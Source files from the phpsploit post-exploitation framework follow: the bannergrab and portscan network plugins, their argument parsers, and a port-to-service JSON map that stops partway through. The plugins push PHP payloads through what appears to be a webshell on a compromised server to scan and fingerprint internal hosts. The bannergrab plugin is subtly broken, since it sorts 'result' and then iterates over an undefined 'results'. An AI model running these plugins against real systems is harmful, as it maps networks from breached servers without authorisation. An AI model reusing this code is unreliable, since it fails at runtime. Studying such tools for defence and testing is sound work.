phpsploit-3.2+git20240329.aea961d/plugins/network/bannergrab/plugin.py000066400000000000000000000027421460155776400253050ustar00rootroot00000000000000"""TCP Banner Grabber SYNOPSIS: bannergrab
[-p ] [-t ] -p single or range of port(s) to connect to * single : -p port * range : -p min-max -t socket timeout DESCRIPTION: Connect to a single port or range of ports and grab the application banner EXAMPLES: > bannergrab 192.168.1.10 - find TCP banners from port 20 to 10000 > bannergrab 192.168.1.10 -p 50 - find TCP banners on port 50 > bannergrab 192.168.1.10 -p 50-100 - find TCP banners from ports 50 to 100 > bannergrab 192.168.1.10 -t 0.5 - connect with 0.5 second timeout per socket AUTHOR: Jose """ import sys from api import plugin from api import server from ui.color import colorize import plugin_args if len(plugin.argv) < 2: sys.exit(plugin.help) opt = plugin_args.parse(plugin.argv[1:]) # Send payload payload = server.payload.Payload("payload.php") payload['IP'] = opt['address'] payload['PORT_MIN'] = opt['port'][0] payload['PORT_MAX'] = opt['port'][1] payload['TIMEOUT'] = opt['timeout'] result = payload.send() # unshuffle port list result.sort(key=lambda x: x[0]) fmt = "%4s %7s %s" print(fmt % ("PORT", "STATE", "INFORMATION")) print(fmt % ("----", "-----", "-----------")) for port, state, banner in results: if state == "OPEN": state = colorize("%Green", "open") else: state = colorize("%Red", "closed") print(fmt % (port, state, banner)) phpsploit-3.2+git20240329.aea961d/plugins/network/bannergrab/plugin_args.py000066400000000000000000000024431460155776400263170ustar00rootroot00000000000000import argparse import sys import ui.output def help_format_bannergrab(prog): kwargs = dict() kwargs['width'] = ui.output.columns() kwargs['max_help_position'] = 34 format = argparse.HelpFormatter(prog, **kwargs) return (format) def parse(args): parser = argparse.ArgumentParser(prog="scan", add_help=False, usage=argparse.SUPPRESS) parser.formatter_class = help_format_bannergrab parser.add_argument('-p', '--port', metavar="", default='20-10000') parser.add_argument('-t', '--timeout', type=float, metavar="", default=0.2) parser.add_argument('address') options = vars(parser.parse_args(args)) options['port'] = parse_port(options['port']) return options def parse_port(input): if input.count('-') == 1: data = input.split('-') else: data = [input, input] try: data = [int(x) for x in data] except ValueError: sys.exit("Illegal port specifications") if min(data) < 0 or max(data) > 65535: sys.exit("Ports specified must be between 0 and 65535 inclusive") if data[0] > data[1]: sys.exit("Your port range %d-%d is backwards. Did you mean %d-%d?" % (data[0], data[1], data[1], data[0])) return data phpsploit-3.2+git20240329.aea961d/plugins/network/portscan/000077500000000000000000000000001460155776400231605ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/plugins/network/portscan/plugin.py000066400000000000000000000044231460155776400250330ustar00rootroot00000000000000"""TCP port scanner SYNOPSIS: portscan [-p ] [-t ] OPTIONS: -p single or range of port(s) to scan (defaults to 20-10000) -t socket timeout (in seconds) (defaults to 0.2) DESCRIPTION: Scan a single port or range of ports on HOST EXAMPLES: > portscan 192.168.1.10 - scan default ports > portscan 192.168.1.10 -p 50 - find if port 50 is open > portscan 192.168.1.10 -p 50-100 - find if ports 50 to 100 are open > portscan 192.168.1.10 -t 0.5 - scan with 0.5 second timeout per socket AUTHOR: Shiney """ import sys import os import json from api import plugin from api import server from ui.color import colorize import plugin_args if len(plugin.argv) < 2: sys.exit(plugin.help) opt = plugin_args.parse(plugin.argv[1:]) # Send payload payload = server.payload.Payload("scanner.php") payload['IP'] = opt['address'] payload['PORT_MIN'] = opt['port'][0] payload['PORT_MAX'] = opt['port'][1] payload['TIMEOUT'] = opt['timeout'] result = payload.send() # unshuffle port list result.sort(key=lambda x: x[0]) # Load port -> service database with open(os.path.join(plugin.path, "ports.json")) as database_ports: known_services = json.load(database_ports) # don't display most common error if frequent (nmap flavour) main_err = [None, None] errors = [tuple(x[1:]) for x in result if len(x) == 3] if len(errors) > max(20, len(result) / 2): main_err = max(set(errors), key=errors.count) main_err_count = errors.count(main_err) if main_err_count == len(result): print("All %d scanned ports failed with error %d: %s\n" % (main_err_count, main_err[0], main_err[1])) sys.exit(0) print("Not shown: %d (%s)\n" % (main_err_count, main_err[1])) # display each port with information print("PORT INFORMATION") print("---- -----------") for elem in result: port_num = str(elem[0]) info = "" if len(elem) == 1: info = colorize("%Green", "open") if port_num in known_services.keys(): info += " (%s)" % known_services[port_num] elif len(elem) == 3 and elem[1] != main_err[0]: info = colorize("%Red", elem[2]) if info: print("{:<5} {}".format(port_num, info)) phpsploit-3.2+git20240329.aea961d/plugins/network/portscan/plugin_args.py000066400000000000000000000024631460155776400260510ustar00rootroot00000000000000import argparse import sys from api import plugin import ui.output def help_format_network_scan(prog): kwargs = dict() kwargs['width'] = ui.output.columns() kwargs['max_help_position'] = 34 format = argparse.HelpFormatter(prog, **kwargs) return (format) def parse(args): parser = argparse.ArgumentParser(prog="scan", add_help=False, usage=argparse.SUPPRESS) parser.formatter_class = help_format_network_scan parser.add_argument('-p', '--port', metavar="", default='20-10000') parser.add_argument('-t', '--timeout', type=float, metavar="", default=0.2) parser.add_argument('address') options = vars(parser.parse_args(args)) options['port'] = parse_port(options['port']) return options def parse_port(input): if input.count('-') == 1: data = input.split('-') else: data = [input, input] try: data = [int(x) for x in data] except: sys.exit("Illegal port specifications") if min(data) < 0 or max(data) > 65535: sys.exit("Ports specified must be between 0 and 65535 inclusive") if data[0] > data[1]: sys.exit("Your port range %d-%d is backwards. Did you mean %d-%d?" % (data[0], data[1], data[1], data[0])) return data phpsploit-3.2+git20240329.aea961d/plugins/network/portscan/ports.json000066400000000000000000004060021460155776400252240ustar00rootroot00000000000000{ "16384": "connected", "16385": "rdgs", "2": "compressnet", "32771": "filenet-rmi", "32772": "filenet-pa", "32773": "filenet-cm", "32774": "filenet-re", "1": "tcpmux", "32776": "filenet-peior", "32777": "filenet-obrok", "11": "systat", "13": "daytime", "17": "qotd", "18": "msp", "19": "chargen", "20": "ftp-data", "21": "ftp", "22": "ssh", "23": "telnet", "25": "smtp", "27": "nsw-fe", "29": "msg-icp", "31": "msg-auth", "32801": "mlsn", "37": "time", "38": "rap", "39": "rlp", "41": "graphics", "42": "nameserver", "32775": "filenet-pch", "44": "mpm-flags", "45": "mpm", "46": "mpm-snd", "47": "ni-ftp", "48": "auditd", "49": "tacacs", "50": "re-mail-ck", "52": "xns-time", "53": "domain", "54": "xns-ch", "55": "isi-gl", "56": "xns-auth", "58": "xns-mail", "61": "ni-mail", "62": "acas", "63": "whoispp", "64": "covia", "65": "tacacs-ds", "66": "sql*net", "67": "bootps", "68": "bootpc", "69": "tftp", "70": "gopher", "71": "netrjs-1", "72": "netrjs-2", "73": "netrjs-3", "74": "netrjs-4", "76": "deos", "78": "vettcp", "79": "finger", "80": "www-http", "82": "xfer", "83": "mit-ml-dev", "84": "ctf", "85": "mit-ml-dev", "86": "mfcobol", "88": "kerberos", "89": "su-mit-tg", "90": "dnsix", "91": "mit-dov", "92": "npp", "93": "dcp", "94": "objcall", "95": "supdup", "3": "compressnet", "97": "swift-rvf", "98": "tacnews", "99": "metagram", "8293": "hiperscan-id", "101": "hostname", "102": "iso-tsap", "103": "gppitnp", "104": "acr-nema", "105": "cso", "106": "3com-tsmux", "107": "rtelnet", "108": "snagas", "109": "pop2", "110": "pop3", "111": "sunrpc", "112": "mcidas", "113": "ident", "115": "sftp", "116": "ansanotify", "117": "uucp-path", "118": "sqlserv", "119": "nntp", "120": "cfdptkt", "121": "erpc", "122": "smakynet", "123": "ntp", "124": "ansatrader", "125": "locus-map", "126": "nxedit", "127": "locus-con", "128": "gss-xlicen", "129": "pwdgen", "130": "cisco-fna", "131": "cisco-tna", "132": "cisco-sys", "133": "statsrv", "134": "ingres-net", "135": "epmap", "136": "profile", "137": "netbios-ns", "138": "netbios-dgm", "139": "netbios-ssn", "140": "emfis-data", "141": "emfis-cntl", "142": "bl-idm", "143": "imap", "144": "uma", "145": "uaac", "146": "iso-tp0", "147": "iso-ip", "148": "jargon", "149": "aed-512", "150": "sql-net", "151": "hems", "152": "bftp", "153": "sgmp", "154": "netsc-prod", "155": "netsc-dev", "156": "sqlsrv", "157": "knet-cmp", "158": "pcmail-srv", "159": "nss-routing", "160": "sgmp-traps", "161": "snmp", "162": "snmptrap", "163": "cmip-man", "164": "cmip-agent", "165": "xns-courier", "166": "s-net", "167": "namp", "168": "rsvd", "169": "send", "170": "print-srv", "171": "multiplex", "172": "cl/1", "173": "xyplex-mux", "174": "mailq", "175": "vmnet", "176": "genrad-mux", "177": "xdmcp", "178": "nextstep", "179": "bgp", "180": "ris", "181": "unify", "182": "audit", "183": "ocbinder", "184": "ocserver", "185": "remote-kis", "186": "kis", "187": "aci", "188": "mumps", "189": "qft", "190": "gacp", "191": "prospero", "192": "osu-nms", "193": "srmp", "194": "irc", "195": "dn6-nlm-aud", "196": "dn6-smm-red", "197": "dls", "198": "dls-mon", "199": "smux", "200": "src", "201": "at-rtmp", "202": "at-nbp", "203": "at-3", "204": "at-echo", "205": "at-5", "206": "at-zis", "207": "at-7", "208": "at-8", "209": "qmtp", "210": "z39.50", "211": "914c/g", "212": "anet", "213": "ipx", "214": "vmpwscs", "215": "softpc", "216": "CAIlic", "217": "dbase", "218": "mpp", "219": "uarps", "220": "imap3", "221": "fln-spx", "222": "rsh-spx", "223": "cdc", "224": "masqdialer", "16619": "xoms", "242": "direct", "243": "sur-meas", "244": "inbusiness", "245": "link", "246": "dsp3270", "247": "subntbcst-tftp", "248": "bhfhs", "8294": "blp4", "256": "rap", "257": "set", "259": "esro-gen", "260": "openport", "261": "nsiiops", "262": "arcisdms", "263": "hdap", "264": "bgmp", "265": "x-bone-ctl", "266": "sst", "267": "td-service", "268": "td-replica", "269": "manet", "270": "gist", "271": "pt-tls", "9": "discard", "280": "http-mgmt", "281": "personal-link", "16666": "vtp", "283": "rescap", "284": "corerjd", "286": "fxp", "287": "k-block", "33060": "mysqlx", "308": "novastorbakcup", "309": "entrusttime", "310": "bhmds", "311": "asip-webadmin", "312": "vslmp", "313": "magenta-logic", "314": "opalis-robot", "315": "dpsi", "316": "decauth", "317": "zannet", "318": "pkix-timestamp", "319": "ptp-event", "320": "ptp-general", "321": "pip", "322": "rtsps", "323": "rpki-rtr", "324": "rpki-rtr-tls", "333": "texar", "344": "pdap", "345": "pawserv", "346": "zserv", "347": "fatserv", "348": "csi-sgwp", "349": "mftp", "350": "matip-type-a", "351": "matip-type-b", "352": "dtag-ste-sb", "353": "ndsauth", "354": "bh611", "33123": "aurora-balaena", "356": "cloanto-net-1", "357": "bhevent", "358": "shrinkwrap", "359": "nsrmp", "360": "scoi2odialog", "361": "semantix", "362": "srssend", "363": "rsvp-tunnel", "364": "aurora-cmgr", "365": "dtk", "366": "odmr", "367": "mortgageware", "368": "qbikgdp", "369": "rpc2portmap", "370": "codaauth2", "371": "clearcase", "372": "ulistproc", "373": "legent-1", "374": "legent-2", "375": "hassle", "376": "nip", "377": "tnETOS", "378": "dsETOS", "379": "is99c", "380": "is99s", "381": "hp-collector", "382": "hp-managed-node", "383": "hp-alarm-mgr", "384": "arns", "385": "ibm-app", "386": "asa", "387": "aurp", "388": "unidata-ldm", "389": "ldap", "390": "uis", "391": "synotics-relay", "392": "synotics-broker", "393": "meta5", "394": "embl-ndt", "395": "netcp", "396": "netware-ip", "397": "mptn", "398": "kryptolan", "399": "iso-tsap-c2", "400": "osb-sd", "401": "ups", "402": "genie", "403": "decap", "404": "nced", "16789": "cadsisvr", "406": "imsp", "407": "timbuktu", "408": "prm-sm", "409": "prm-nm", "410": "decladebug", "411": "rmt", "412": "synoptics-trap", "413": "smsp", "414": "infoseek", "415": "bnet", "416": "silverplatter", "417": "onmux", "418": "hyper-g", "419": "ariel1", "420": "smpte", "421": "ariel2", "422": "ariel3", "423": "opc-job-start", "424": "opc-job-track", "425": "icad-el", "426": "smartsdp", "427": "svrloc", "428": "ocs-cmu", "429": "ocs-amu", "430": "utmpsd", "431": "utmpcd", "432": "iasd", "433": "nnsp", "434": "mobileip-agent", "435": "mobilip-mn", "436": "dna-cml", "437": "comscm", "438": "dsfgw", "439": "dasp", "440": "sgcp", "441": "decvms-sysmgt", "442": "cvc-hostd", "443": "https", "444": "snpp", "445": "microsoft-ds", "446": "ddm-rdb", "447": "ddm-dfm", "448": "ddm-ssl", "449": "as-servermap", "450": "tserver", "451": "sfs-smp-net", "452": "sfs-config", "453": "creativeserver", "454": "contentserver", "455": "creativepartnr", "456": "macon-udp", "457": "scohelp", "458": "appleqtc", "2807": "cspmulti", "460": "skronk", "461": "datasurfsrv", "462": "datasurfsrvsec", "463": "alpes", "464": "kpasswd", "465": "urd", "466": "digital-vrc", "467": "mylex-mapd", "468": "photuris", "469": "rcp", "470": "scx-proxy", "471": "mondex", "472": "ljk-login", "473": "hybrid-pop", "474": "tn-tl-w2", "475": "tcpnethaspsrv", "476": "tn-tl-fd1", "2810": "netsteward", "478": "spsc", "479": "iafserver", "480": "iafdbase", "481": "ph", "482": "bgs-nsi", "483": "ulpnet", "484": "integra-sme", "485": "powerburst", "486": "avian", "487": "saft", "488": "gss-http", "489": "nest-protocol", "490": "micom-pfs", "491": "go-login", "492": "ticf-1", "493": "ticf-2", "494": "pov-ray", "495": "intecourier", "496": "pim-rp-disc", "497": "retrospect", "498": "siam", "499": "iso-ill", "500": "isakmp", "501": "stmf", "502": "mbap", "503": "intrinsa", "504": "citadel", "505": "mailbox-lm", "506": "ohimsrv", "507": "crs", "508": "xvttp", "509": "snare", "510": "fcp", "511": "passgo", "512": "exec", "513": "who", "514": "syslog", "515": "printer", "16900": "newbay-snc-mc", "517": "talk", "518": "ntalk", "519": "utime", "520": "router", "521": "ripng", "522": "ulp", "523": "ibm-db2", "524": "ncp", "525": "timed", "526": "tempo", "527": "stx", "528": "custix", "563": "nntps", "530": "courier", "531": "conference", "532": "netnews", "533": "netwall", "534": "windream", "535": "iiop", "536": "opalis-rdv", "537": "nmsp", "538": "gdomap", "539": "apertus-ldp", "540": "uucp", "541": "uucp-rlogin", "542": "commerce", "543": "klogin", "544": "kshell", "545": "appleqtcsrvr", "546": "dhcpv6-client", "547": "dhcpv6-server", "548": "afpovertcp", "549": "idfp", "550": "new-rwho", "551": "cybercash", "552": "devshr-nts", "553": "pirp", "554": "rtsp", "555": "dsf", "556": "remotefs", "557": "openvms-sysipc", "558": "sdnskmp", "559": "teedtap", "560": "rmonitor", "561": "monitor", "562": "chshell", "33331": "diamondport", "564": "9pfs", "33333": "dgi-serv", "16950": "sgcip", "567": "banyan-rpc", "568": "ms-shuttle", "569": "ms-rome", "570": "meter", "571": "meter", "572": "sonar", "573": "banyan-vip", "574": "ftp-agent", "575": "vemmi", "576": "ipcd", "577": "vnas", "578": "ipdd", "579": "decbsrv", "580": "sntp-heartbeat", "581": "bdp", "582": "scc-security", "583": "philips-vc", "584": "keyserver", "586": "password-chg", "587": "submission", "588": "cal", "589": "eyelink", "590": "tns-cml", "591": "http-alt", "592": "eudora-set", "593": "http-rpc-epmap", "594": "tpip", "595": "cab-protocol", "596": "smsd", "597": "ptcnameservice", "598": "sco-websrvrmg3", "599": "acp", "600": "ipcserver", "601": "syslog-conn", "602": "xmlrpc-beep", "603": "idxp", "604": "tunnel", "605": "soap-beep", "606": "urm", "16991": "intel-rci-mp", "16992": "amt-soap-http", "16993": "amt-soap-https", "16994": "amt-redir-tcp", "16995": "amt-redir-tls", "612": "hmmp-ind", "613": "hmmp-op", "614": "sshell", "615": "sco-inetmgr", "616": "sco-sysmgr", "617": "sco-dtmgr", "618": "dei-icda", "619": "compaq-evm", "620": "sco-websrvrmgr", "621": "escp-ip", "622": "collaborator", "17007": "isode-dua", "624": "cryptoadmin", "625": "dec-dlm", "626": "asia", "627": "passgo-tivoli", "628": "qmqp", "629": "3com-amp3", "630": "rda", "631": "ipp", "632": "bmpp", "633": "servstat", "634": "ginad", "635": "rlzdbase", "636": "ldaps", "637": "lanserver", "638": "mcns-sec", "639": "msdp", "640": "entrust-sps", "641": "repcmd", "642": "esro-emsdp", "643": "sanity", "644": "dwr", "645": "pssc", "646": "ldp", "647": "dhcp-failover", "648": "rrp", "649": "cadview-3d", "650": "obex", "651": "ieee-mms", "652": "hello-port", "653": "repscmd", "654": "aodv", "655": "tinc", "656": "spmp", "657": "rmc", "658": "tenfold", "660": "mac-srvr-admin", "661": "hap", "662": "pftp", "663": "purenoise", "664": "oob-ws-https", "665": "sun-dr", "33434": "traceroute", "667": "disclose", "668": "mecomm", "669": "meregister", "670": "vacdsm-sws", "671": "vacdsm-app", "672": "vpps-qua", "673": "cimplex", "674": "acap", "675": "dctp", "676": "vpps-via", "677": "vpp", "678": "ggf-ncp", "679": "mrm", "680": "entrust-aaas", "681": "entrust-aams", "682": "xfr", "683": "corba-iiop", "684": "corba-iiop-ssl", "685": "mdc-portmapper", "686": "hcp-wismar", "687": "asipregistry", "688": "realm-rusd", "689": "nmap", "690": "vatp", "691": "msexch-routing", "692": "hyperwave-isp", "693": "connendp", "694": "ha-cluster", "695": "ieee-mms-ssl", "696": "rushd", "697": "uuidgen", "698": "olsr", "699": "accessnetwork", "700": "epp", "701": "lmp", "702": "iris-beep", "704": "elcsd", "705": "agentx", "706": "silc", "707": "borland-dsj", "21846": "netspeak-is", "709": "entrust-kmsh", "710": "entrust-ash", "711": "cisco-tdp", "712": "tbrpf", "713": "iris-xpc", "714": "iris-xpcs", "715": "iris-lwz", "716": "pana", "729": "netviewdm1", "730": "netviewdm2", "731": "netviewdm3", "21847": "netspeak-cs", "741": "netgw", "742": "netrcs", "744": "flexlm", "747": "fujitsu-dev", "748": "ris-cm", "749": "kerberos-adm", "750": "rfile", "751": "pump", "752": "qrh", "753": "rrh", "754": "tell", "758": "nlogin", "759": "con", "760": "ns", "761": "rxe", "762": "quotad", "763": "cycleserv", "764": "omserv", "765": "webster", "767": "phonebook", "32896": "idmgratm", "770": "cadlock", "771": "rtip", "772": "cycleserv2", "773": "submit", "774": "rpasswd", "775": "entomb", "776": "wpages", "777": "multiling-http", "780": "wpgs", "5": "rje", "17184": "vestasdlp", "17185": "soundsvirtual", "802": "mbap-s", "810": "fcp-udp", "769": "vid", "828": "itm-mcell-s", "829": "pkix-3-ca-ra", "830": "netconf-ssh", "831": "netconf-beep", "832": "netconfsoaphttp", "833": "netconfsoapbeep", "17219": "chipper", "17220": "avtp", "17221": "avdecc", "17222": "cpsp", "17223": "isa100-gci", "17224": "trdp-pd", "17225": "trdp-md", "847": "dhcp-failover2", "848": "gdoi", "17234": "integrius-stp", "17235": "ssh-mgmt", "853": "domain-s", "860": "iscsi", "861": "owamp-control", "862": "twamp-control", "873": "rsync", "886": "iclcnet-locate", "887": "iclcnet-svinfo", "33656": "snip-slave", "900": "omginitialrefs", "901": "smpnameres", "902": "ideafarm-door", "903": "ideafarm-panic", "910": "kink", "911": "xact-backup", "912": "apex-mesh", "913": "apex-edge", "22002": "optohost002", "22003": "optohost003", "989": "ftps-data", "990": "ftps", "991": "nas", "992": "telnets", "993": "imaps", "995": "pop3s", "996": "vsinet", "33": "dsp", "998": "puparp", "999": "puprouter", "1000": "cadlock2", "1010": "surf", "2899": "powergemplus", "1021": "exp1", "1022": "exp2", "1025": "blackjack", "1026": "cap", "1027": "6a44", "1029": "solid-mux", "32768": "filenet-tms", "1033": "netinfo-local", "1034": "activesync", "1035": "mxxrlogin", "1036": "nsstp", "1037": "ams", "1038": "mtqp", "1039": "sbl", "1040": "netarx", "1041": "danf-ak2", "1042": "afrog", "1043": "boinc-client", "1044": "dcutility", "1045": "fpitp", "1046": "wfremotertm", "1047": "neod1", "1048": "neod2", "1049": "td-postman", "1050": "cma", "1051": "optima-vnet", "1052": "ddt", "1053": "remote-as", "1054": "brvread", "1055": "ansyslmd", "1056": "vfo", "1057": "startron", "1058": "nim", "1059": "nimreg", "1060": "polestar", "1061": "kiosk", "1062": "veracity", "1063": "kyoceranetdev", "1064": "jstel", "1065": "syscomlan", "1066": "fpo-fns", "1067": "instl-boots", "1068": "instl-bootc", "1069": "cognex-insight", "1070": "gmrupdateserv", "1071": "bsquare-voip", "1072": "cardax", "1073": "bridgecontrol", "1074": "warmspotMgmt", "1075": "rdrmshc", "1076": "dab-sti-c", "1077": "imgames", "1078": "avocent-proxy", "1079": "asprovatalk", "1080": "socks", "1081": "pvuniwien", "1082": "amt-esd-prot", "1083": "ansoft-lm-1", "1084": "ansoft-lm-2", "1085": "webobjects", "1086": "cplscrambler-lg", "1087": "cplscrambler-in", "1088": "cplscrambler-al", "1089": "ff-annunc", "1090": "ff-fms", "1091": "ff-sm", "1092": "obrpd", "1093": "proofd", "1094": "rootd", "1095": "nicelink", "1096": "cnrprotocol", "1097": "sunclustermgr", "1098": "rmiactivation", "1099": "rmiregistry", "1100": "mctp", "1101": "pt2-discover", "1102": "adobeserver-1", "1103": "adobeserver-2", "1104": "xrl", "1105": "ftranhc", "1106": "isoipsigport-1", "1107": "isoipsigport-2", "1108": "ratio-adp", "1110": "webadmstart", "1111": "lmsocialserver", "1112": "icp", "1113": "ltp-deepspace", "1114": "mini-sql", "1115": "ardus-trns", "17500": "db-lsp-disc", "1117": "ardus-mtrns", "1118": "sacred", "1119": "bnetgame", "1120": "bnetfile", "1121": "rmpp", "1122": "availant-mgr", "1123": "murray", "1124": "hpvmmcontrol", "1125": "hpvmmagent", "1126": "hpvmmdata", "1127": "kwdb-commn", "1128": "saphostctrl", "1129": "saphostctrls", "1130": "casp", "1131": "caspssl", "1132": "kvm-via-ip", "1133": "dfn", "1134": "aplx", "1135": "omnivision", "1136": "hhb-gateway", "1137": "trim", "1138": "encrypted-admin", "1139": "evm", "1140": "autonoc", "1141": "mxomss", "1142": "edtools", "1143": "imyx", "1144": "fuscript", "1145": "x9-icue", "1146": "audit-transfer", "1147": "capioverlan", "1148": "elfiq-repl", "1149": "bvtsonar", "1150": "blaze", "1151": "unizensus", "1152": "winpoplanmess", "1153": "c1222-acse", "1154": "resacommunity", "1155": "nfa", "1156": "iascontrol-oms", "1157": "iascontrol", "1158": "dbcontrol-oms", "1159": "oracle-oms", "1160": "olsv", "1161": "health-polling", "1162": "health-trap", "1163": "sddp", "1164": "qsm-proxy", "1165": "qsm-gui", "1166": "qsm-remote", "1167": "cisco-ipsla", "1168": "vchat", "1169": "tripwire", "1170": "atc-lm", "17555": "ailith", "1172": "dnap", "1173": "d-cinema-rrp", "1174": "fnet-remote-ui", "1175": "dossier", "1176": "indigo-server", "1177": "dkmessenger", "1178": "sgi-storman", "1179": "b2n", "1180": "mc-client", "1181": "3comnetman", "1182": "accelenet-data", "1183": "llsurfup-http", "1184": "llsurfup-https", "1185": "catchpole", "1186": "mysql-cluster", "1187": "alias", "1188": "hp-webadmin", "1189": "unet", "1190": "commlinx-avl", "1191": "gpfs", "1192": "caids-sensor", "1193": "fiveacross", "1194": "openvpn", "1195": "rsf-1", "1196": "netmagic", "1197": "carrius-rshell", "1198": "cajo-discovery", "1199": "dmidi", "1200": "scol", "1201": "nucleus-sand", "1202": "caiccipc", "1203": "ssslic-mgr", "1204": "ssslog-mgr", "1205": "accord-mgc", "1206": "anthony-data", "1207": "metasage", "1208": "seagull-ais", "1209": "ipcd3", "1210": "eoss", "1211": "groove-dpp", "1212": "lupa", "1213": "mpc-lifenet", "1214": "kazaa", "1215": "scanstat-1", "1216": "etebac5", "1217": "hpss-ndapi", "1218": "aeroflight-ads", "1219": "aeroflight-ret", "1220": "qt-serveradmin", "1221": "sweetware-apps", "1222": "nerv", "1223": "tgp", "1224": "vpnz", "1225": "slinkysearch", "1226": "stgxfws", "1227": "dns2go", "1228": "florence", "1229": "zented", "1230": "periscope", "1231": "menandmice-lpm", "1232": "first-defense", "1233": "univ-appserver", "1234": "search-agent", "1235": "mosaicsyssvc1", "1236": "bvcontrol", "1237": "tsdos390", "1238": "hacl-qs", "1239": "nmsd", "1240": "instantia", "1241": "nessus", "1242": "nmasoverip", "1243": "serialgateway", "1244": "isbconference1", "1245": "isbconference2", "1246": "payrouter", "1247": "visionpyramid", "1248": "hermes", "1249": "mesavistaco", "1250": "swldy-sias", "1251": "servergraph", "1252": "bspne-pcc", "1253": "q55-pcc", "1254": "de-noc", "1255": "de-cache-query", "1256": "de-server", "1257": "shockwave2", "1258": "opennl", "1259": "opennl-voice", "1260": "ibm-ssd", "1261": "mpshrsv", "1262": "qnts-orb", "1263": "dka", "1264": "prat", "1265": "dssiapi", "1266": "dellpwrappks", "1267": "epc", "1268": "propel-msgsys", "1269": "watilapp", "1270": "opsmgr", "1271": "excw", "1272": "cspmlockmgr", "1273": "emc-gateway", "1274": "t1distproc", "1275": "ivcollector", "1277": "miva-mqs", "1278": "dellwebadmin-1", "1279": "dellwebadmin-2", "1280": "pictrography", "1281": "healthd", "1282": "emperion", "1283": "productinfo", "1284": "iee-qfx", "1285": "neoiface", "1286": "netuitive", "1287": "routematch", "1288": "navbuddy", "1289": "jwalkserver", "1290": "winjaserver", "1291": "seagulllms", "1292": "dsdn", "1293": "pkt-krb-ipsec", "1294": "cmmdriver", "1295": "ehtp", "1296": "dproxy", "1297": "sdproxy", "1298": "lpcp", "1299": "hp-sci", "1300": "h323hostcallsc", "1301": "ci3-software-1", "1302": "ci3-software-2", "1303": "sftsrv", "1304": "boomerang", "1305": "pe-mike", "1306": "re-conn-proto", "1307": "pacmand", "1308": "odsi", "1309": "jtag-server", "1310": "husky", "1311": "rxmon", "1312": "sti-envision", "1313": "bmc-patroldb", "1314": "pdps", "1315": "els", "1316": "exbit-escp", "1317": "vrts-ipcserver", "1318": "krb5gatekeeper", "1319": "amx-icsp", "1320": "amx-axbnet", "1321": "pip", "1322": "novation", "1323": "brcd", "1324": "delta-mcp", "1325": "dx-instrument", "1326": "wimsic", "1327": "ultrex", "1328": "ewall", "1329": "netdb-export", "1330": "streetperfect", "1331": "intersan", "1332": "pcia-rxp-b", "1333": "passwrd-policy", "1334": "writesrv", "1335": "digital-notary", "1336": "ischat", "1337": "menandmice-dns", "1338": "wmc-log-svc", "1339": "kjtsiteserver", "1340": "naap", "1341": "qubes", "1342": "esbroker", "1343": "re101", "1344": "icap", "1345": "vpjp", "1346": "alta-ana-lm", "1347": "bbn-mmc", "1348": "bbn-mmx", "1349": "sbook", "1350": "editbench", "1351": "equationbuilder", "1352": "lotusnote", "1353": "relief", "1354": "XSIP-network", "1355": "intuitive-edge", "1356": "cuillamartin", "1357": "pegboard", "1358": "connlcli", "1359": "ftsrv", "1360": "mimer", "1361": "linx", "1362": "timeflies", "1363": "ndm-requester", "1364": "ndm-server", "1365": "adapt-sna", "1366": "netware-csp", "1367": "dcs", "1368": "screencast", "1369": "gv-us", "17754": "zep", "17755": "zigbee-ip", "17756": "zigbee-ips", "1373": "chromagrafx", "1374": "molly", "1375": "bytex", "1376": "ibm-pps", "1377": "cichlid", "1378": "elan", "1379": "dbreporter", "1380": "telesis-licman", "1381": "apple-licman", "1382": "udt-os", "1383": "gwha", "1384": "os-licman", "1385": "atex-elmd", "1386": "checksum", "1387": "cadsi-lm", "1388": "objective-dbc", "1389": "iclpv-dm", "1390": "iclpv-sc", "1391": "iclpv-sas", "1392": "iclpv-pm", "1393": "iclpv-nls", "1394": "iclpv-nlc", "1395": "iclpv-wsm", "1396": "dvl-activemail", "1397": "audio-activmail", "1398": "video-activmail", "1399": "cadkey-licman", "1400": "cadkey-tablet", "1401": "goldleaf-licman", "1402": "prm-sm-np", "1403": "prm-nm-np", "1404": "igi-lm", "1405": "ibm-res", "1406": "netlabs-lm", "1407": "tibet-server", "1408": "sophia-lm", "1409": "here-lm", "1410": "hiq", "1411": "af", "1412": "innosys", "1413": "innosys-acl", "1414": "ibm-mqseries", "1415": "dbstar", "1416": "novell-lu6.2", "1417": "timbuktu-srv1", "1418": "timbuktu-srv2", "1419": "timbuktu-srv3", "1420": "timbuktu-srv4", "1421": "gandalf-lm", "1422": "autodesk-lm", "1423": "essbase", "1424": "hybrid", "1425": "zion-lm", "1426": "sais", "1427": "mloadd", "1428": "informatik-lm", "1429": "nms", "1430": "tpdu", "1431": "rgtp", "1432": "blueberry-lm", "1433": "ms-sql-s", "1434": "ms-sql-m", "1435": "ibm-cics", "1436": "saism", "1437": "tabula", "1438": "eicon-server", "1439": "eicon-x25", "1440": "eicon-slp", "1441": "cadis-1", "1442": "cadis-2", "1443": "ies-lm", "1444": "marcam-lm", "1445": "proxima-lm", "1446": "ora-lm", "1447": "apri-lm", "1448": "oc-lm", "1449": "peport", "1450": "dwf", "1451": "infoman", "1452": "gtegsc-lm", "1453": "genie-lm", "1454": "interhdl-elmd", "1455": "esl-lm", "1456": "dca", "1457": "valisys-lm", "1458": "nrcabq-lm", "1459": "proshare1", "1460": "proshare2", "1461": "ibm-wrless-lan", "1462": "world-lm", "1463": "nucleus", "1464": "msl-lmd", "1465": "pipes", "1466": "oceansoft-lm", "1467": "csdmbase", "1468": "csdm", "1469": "aal-lm", "1470": "uaiact", "1471": "csdmbase", "1472": "csdm", "1473": "openmath", "1474": "telefinder", "1475": "taligent-lm", "1476": "clvm-cfg", "1477": "ms-sna-server", "1478": "ms-sna-base", "1479": "dberegister", "1480": "pacerforum", "34249": "turbonote-2", "1482": "miteksys-lm", "1483": "afs", "1484": "confluent", "1485": "lansource", "1486": "nms-topo-serv", "1487": "localinfosrvr", "1488": "docstor", "1489": "dmdocbroker", "1490": "insitu-conf", "1492": "stone-design-1", "1493": "netmap-lm", "1494": "ica", "1495": "cvc", "1496": "liberty-lm", "1497": "rfx-lm", "1498": "sybase-sqlany", "1499": "fhc", "1500": "vlsi-lm", "1501": "saiscm", "1502": "shivadiscovery", "1503": "imtc-mcs", "1504": "evb-elm", "1505": "funkproxy", "1506": "utcd", "1507": "symplex", "1508": "diagmond", "1509": "robcad-lm", "1510": "mvx-lm", "1511": "3l-l1", "1512": "wins", "1513": "fujitsu-dtc", "1514": "fujitsu-dtcns", "1515": "ifor-protocol", 